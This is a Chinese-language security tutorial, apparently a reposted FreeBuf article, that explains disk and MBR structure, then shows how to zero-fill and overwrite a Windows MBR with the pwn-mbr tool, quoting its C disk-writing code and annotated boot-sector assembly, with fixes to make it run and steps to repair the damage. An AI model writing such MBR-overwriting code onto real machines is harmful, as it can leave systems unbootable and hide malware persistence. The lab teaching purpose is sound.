0×01 硬盤的邏輯結(jié)構(gòu)機械磁盤在物理結(jié)構(gòu)上是由磁片、馬達、磁頭、定位系統(tǒng)等部件構(gòu)成,通常一塊磁盤有若干塊磁片構(gòu)成,為了方便定位統(tǒng)一管理,將這些磁片進行了編號。一個盤片的兩面各有一個磁頭(Heads),每個盤片被劃分成若干個同心圓磁道,每個盤片的半徑均為固定值R的同心圓形成柱面(Cylinders),從外至里編號為0、1、2……每個盤片上的每個磁道又被劃分為若干個扇區(qū),一個扇區(qū)通常容量為512byte,并按照一定規(guī)則編號為1、2、3……形成Cylinders×Heads×Sector個扇區(qū),這三個參數(shù)即可定位一個扇區(qū)。從這里可以看出扇區(qū)是磁盤的最小存儲單元,對磁盤的讀寫只能以扇區(qū)為單位。(請務(wù)必注意最后一句話,后面的實驗會用到)
由于后續(xù)實驗需要了解到磁盤數(shù)據(jù)的具體含義,在這里簡要介紹一下。硬盤上的數(shù)據(jù)按照其不同的特點和作用大致可分為5部分:MBR區(qū)、DBR區(qū)、FAT區(qū)、DIR區(qū)和DATA區(qū)。 1、MBR區(qū)MBR(Main Boot Record 主引導(dǎo)記錄區(qū))位于整個硬盤的0磁道0柱面1扇區(qū)。MBR只占用該扇區(qū)的前446個字節(jié),另外的64個字節(jié)屬于DPT(Disk Partition Table硬盤分區(qū)表),最后兩個字節(jié)“55,AA”是分區(qū)的結(jié)束標志,這兩部分構(gòu)成了硬盤的主引導(dǎo)扇區(qū)。 2、DBR區(qū)DBR(Dos Boot Record操作系統(tǒng)引導(dǎo)記錄區(qū))位于硬盤的0磁道1柱面1扇區(qū),是操作系統(tǒng)可以直接訪問的第一個扇區(qū),它包括一個引導(dǎo)程序和一個被稱為BPB(Bios Parameter Block)的本分區(qū)參數(shù)記錄表,DBR是在高級格式化時產(chǎn)生。 3、FAT區(qū)FAT(File Allocation Table文件分配表)區(qū)位于DBR區(qū)之后。文件在存儲時并非連續(xù)存儲在某個區(qū)域,而是分成若干段進行鏈式存儲,F(xiàn)AT便是用于保存段與段之間的連接信息。由于FAT對于文件管理十分重要,所以在原FAT的后面會有一個備份FAT。 4、DIR區(qū)DIR(Directory)是根目錄區(qū),位于備份FAT表之后,記錄著根目錄下每個文件(目錄)的起始單元,文件的屬性等。 5、數(shù)據(jù)(DATA)區(qū)數(shù)據(jù)區(qū)位于DIR區(qū)之后,用于存儲真正的用戶原始數(shù)據(jù)。 0×02 MBR引導(dǎo)原理計算機在按下電源鍵鍵以后,開始執(zhí)行主板bios程序。進行完一系列檢測和配置以后。開始按bios中設(shè)定的系統(tǒng)引導(dǎo)順序引導(dǎo)系統(tǒng)。當設(shè)置為從硬盤啟動時,Bios執(zhí)行完自己的程序后如何把執(zhí)行權(quán)交給硬盤呢?交給硬盤后又執(zhí)行了什么呢? 這些問題便是需要MBR來解決的,bios在執(zhí)行自己固有的程序以后就會跳轉(zhuǎn)到mbr中的第一條指令,將系統(tǒng)的控制權(quán)交由mbr來執(zhí)行。需要注意的是MBR不隨操作系統(tǒng)的不同而不同,意即不同的操作系統(tǒng)可能會存在相同的MBR,即使不同,MBR也不會夾帶操作系統(tǒng)的性質(zhì),具有公共引導(dǎo)的特性。
0×03 摧蘭折玉——暴力擦寫MBR如果我們破壞了MBR會發(fā)生什么?利用winhex對MBR區(qū)域進行00填充操作,由于針對磁盤的讀寫操作需要高權(quán)限進行,所以請用管理員啟動winhex。 填充后: 修改后切記保存,才能使修改后的數(shù)據(jù)真正寫入到磁盤中。然后重啟電腦。 哦,對了,實驗務(wù)必在虛擬機中進行,務(wù)必做好快照,哈哈哈~~~~~前面忘說了。 0×04 偷梁換柱——篡改MBR我們成功的破壞了MBR,既然Bios將控制權(quán)交給了MBR執(zhí)行,我們豈不是可以利用MBR做一些其他事。這里我們用到程序https://github.com/DavidBuchanan314/pwn-mbr,該程序是將自己的payload寫入到MBR區(qū)域執(zhí)行。 1、制作payload工程中的payload.s文件屬于匯編語言程序,需要利用其進行編譯生成二進制payload。筆者剛開始選擇masm對其進行編譯,報一堆錯誤,后來才發(fā)現(xiàn)該匯編語法規(guī)范屬于nasm,使用nasm順利生成了payload。 2、RING3層直接讀寫磁盤數(shù)據(jù)Windows利用內(nèi)核模式與用戶模式的嚴格切分確保了可靠性,這兩種模式分別對應(yīng)了CPU的Ring0與Ring3級別,在Ring3級下執(zhí)行的程序是不能夠直接訪問到硬件的。如果要讀寫磁盤上的扇區(qū)數(shù)據(jù),需要利用INT中斷來進行,但是也必須是在Ring0級才可以進行操作,而進入Ring0級的方法有:設(shè)備驅(qū)動程序、調(diào)用門、任務(wù)門、中斷門、陷阱門等,這勢必提升了操作門檻。 而程序中對磁盤的操作直接使用了fopen等文件操作函數(shù),這是為什么?Windows的核心之一就是強大的文件管理能力,將所有資源都看成文件,無論是存儲在硬盤上的文件還是五花八門的硬件設(shè)備(硬盤,顯示器等),所以硬件也擁有自己特殊的文件路徑。 程序啟動時帶入的參數(shù)是物理驅(qū)動器的路徑: fp = fopen(argv[1], 'r+'); if (fp == NULL) { printf('Could not open %s for read/write. Are you sure you have permission?\n', argv[1]); return 1; }fread(&mbr, SECTOR_SIZE, 1, fp); Windows平臺的驅(qū)動器名一般為“\.\PHYSICALDRIVE0',后面的數(shù)字以此類推;linux平臺通常為dev\sda。 3、程序的運行通過閱讀源碼,可知程序?qū)Υ疟P進行了讀寫操作,而fopen等對物理驅(qū)動器的操作必須具備調(diào)試權(quán)限,否則就會打開失敗,所以我們選擇管理員運行程序。 運行后重啟系統(tǒng),我們看到屏幕上的字串。 按下回車鍵后,windows系統(tǒng)正常啟動。 4、閱讀程序程序中這段代碼在實際執(zhí)行中會進入而使得程序退出,所以需要注釋掉,確保順利執(zhí)行。
通過對源碼的閱讀,大致梳理出程序流程: 讀取前512字節(jié),即MBR所在的扇區(qū) 向后尋找一塊全0的空白扇區(qū) char isUsed = 1; while (isUsed) { fread(&readbuf, SECTOR_SIZE, 1, fp); for (int i = isUsed = 0; i < SECTOR_SIZE; isUsed |= readbuf[i++]);} 將原始MBR數(shù)據(jù)異或0xA6后存儲在該空白區(qū)域
將payload寫入到MBR扇區(qū) 需要注意的是,筆者在調(diào)試程序時發(fā)現(xiàn)payload在寫入時總是失敗,提示參數(shù)錯誤,后來發(fā)現(xiàn)在對硬盤讀寫時,必須是512字節(jié)的整數(shù)倍才行,所以需要對源程序進行修改,將payload補齊到512字節(jié)后寫入MBR扇區(qū)。 經(jīng)過上述修改后,系統(tǒng)重啟時并沒有順利啟動我們的payload,這里需要回顧第一章節(jié)里提到的MBR區(qū)的數(shù)據(jù)格式,在MBR所在的第一扇區(qū)除了前446字節(jié)是MBR程序外,后面的64個字節(jié)屬于DPT(Disk Partition Table硬盤分區(qū)表),最后兩個字節(jié)“55,AA”是分區(qū)的結(jié)束標志。所以我們在寫入payload的同時應(yīng)該修復(fù)DPT和結(jié)束標志,程序中需要在讀取原始MBR數(shù)據(jù)后加入以下代碼。
5、解讀payload在閱讀payload匯編代碼前,需要明確一點:MBR在運行時是被加載到內(nèi)存地址為0:0x7C00的空間里執(zhí)行。 backup_magic equ 0x0DD03713 ; 約定備份MBR的頭部標志0x1337D00D ,便于搜索查找: magic_addr equ 0x7FFCpayload_len equ 0x1B8 ; tells us how much of the MBR to copy back org 0x7C00 bits 16start: jmp realstart ; Just to look like a more normal MBR noprealstart: cli xor ax, ax ; 清空各個寄存器 mov es, ax mov fs, ax mov gs, ax mov ah, 0x0E ; 'Teletype output' mode for int 0x10 xor bl, bl.sLoop sub bl, 1 ; 將bl設(shè)置為255,為了循環(huán)打印255次pwn文字 jz doCopy ;判斷是否打印完畢,完畢則跳轉(zhuǎn)至docopy處 mov si, pwned.cLoop lodsb ; AL <- [DS:SI] && SI++ 將目的地址的內(nèi)容讀到源地址,復(fù)制pwn文字操作 xor al, 0x83 ;pwn文字解密操作 jz .sLoop int 0x10 ;輸出 jmp .cLoopdoCopy: xor ah, ah int 0x16 ; 等待鍵盤輸入回車鍵; 開始搜索定位mbr備份的位置.scan mov si, DAPACK mov ah, 0x42 int 0x13 ;使用int13h,ah=0x42讀取扇區(qū) mov ax, [d_lba] ;將ax賦值為1號扇區(qū) add ax, 1 ;扇區(qū)號累加操作 mov [d_lba], ax mov eax, [magic_addr] ;讀取本扇區(qū)最開頭的標記位數(shù)據(jù) mov ebx, backup_magic cmp eax, ebx ;對比標記位數(shù)據(jù),判斷是都否為備份的扇區(qū) jne .scan ; 將備份扇區(qū)還原到MBR的位置 mov si, stage2 mov bx, 0x8000.copy lodsb ;將stage2區(qū)塊的指令代碼讀寫到內(nèi)存0x8000位置處 mov [bx], al add bx, 1 cmp si, stage2end jl .copy jmp 0x8000 ;跳轉(zhuǎn)到0x8000位置開始執(zhí)行stage2代碼stage2: ; 該塊代碼會被重新裝載到內(nèi)存0x8000位置 mov si, 0x7E00.copy lodsb xor al, 0xA6 ;備份的MBR數(shù)據(jù)進行解密操作 mov [si-0x201], al ;將還原的MBR裝載到內(nèi)存0x7C00處 cmp si, 0x7E00 + payload_len jl .copy sti jmp 0:0x7C00 ;跳轉(zhuǎn)到0x7C00內(nèi)存處開始執(zhí)行還原的MBR,從而正常啟動操作系統(tǒng)stage2end:pwned: db 206, 193, 209, 163, 211, 212, 205, 198, 199, 162, 163, 163, 163, 131 ;該數(shù)據(jù)為異或后的數(shù)據(jù) 'MBR PWNED! ' ^ 0x83 align 4 ; needed for Disk Address PacketDAPACK: db 0x10 db 0blkcnt: dw 1 ; int 13 resets this to # of blocks actually read/writtendb_add: dw 0x7E00 ; memory buffer destination address (0:7E00) dw 0 ; in memory page zerod_lba: dd 1 ; put the lba to read in this spotdd 0 ; more storage bytes only for big lba's ( > 4 bytes ) 疑惑:筆者在進行測試時發(fā)現(xiàn),xp/win2003系統(tǒng)均可完成上述實驗的全過程,而換成win7會就會發(fā)現(xiàn)在出現(xiàn)pwn文字后,按下回車鍵無任何反應(yīng),系統(tǒng)并沒有正常啟動。 0×05 鳳凰涅槃--MBR修復(fù)如果有同學不慎中招了MBR病毒,不要慌張,下面我們來講如何修復(fù)被破壞的MBR扇區(qū)。根據(jù)之前我們對MBR工作機制的認識,當MBR被破壞時,系統(tǒng)無法正常引導(dǎo),磁盤分區(qū)信息丟失,所以需要修復(fù)這兩部分才可以正常啟動系統(tǒng)。 1、下載PE系統(tǒng),利用光驅(qū)或U盤等方式,啟動PE系統(tǒng);2、打開PE系統(tǒng)中的diskgenius分區(qū)工具,可以看到硬盤上的數(shù)據(jù)全都不見了;3、右鍵點擊硬盤選擇“搜索已丟失的分區(qū)”;4、選擇“整個硬盤”,點擊開始搜索,diskgenius會在整個磁盤范圍內(nèi)搜索匹配分區(qū)表;5、當搜索到分區(qū)信息時會彈框確認,請按“保留”按鍵;6、搜索完畢后,點擊保存按鈕;7、此時可以看到磁盤上的文件信息都回來了; 8、重建主引導(dǎo)記錄 9、進入PE系統(tǒng)的“修復(fù)系統(tǒng)引導(dǎo)”程序,對系統(tǒng)引導(dǎo)進行修復(fù)。10、Reset,大功告成!0×06 后記前面我們了解了MBR磁盤鎖的基本運行機制,以及MBR扇區(qū)修復(fù)技術(shù),其實有關(guān)MBR的利用遠不止這些,在一些高級利用場景中,我們可以利用修改MBR代碼的方式實現(xiàn)病毒程序的持久化,而且這種形式的持久化方式是不依賴于操作系統(tǒng),更加隱蔽難以察覺,因此部分殺毒軟件也緊盯MBR扇區(qū),利用多種技術(shù)對MBR扇區(qū)進行了寫保護,防止病毒的篡改侵蝕。 * *本文作者:追影人,本文屬 FreeBuf 原創(chuàng)獎勵計劃 |
|
來自: imnobody2001 > 《Malware》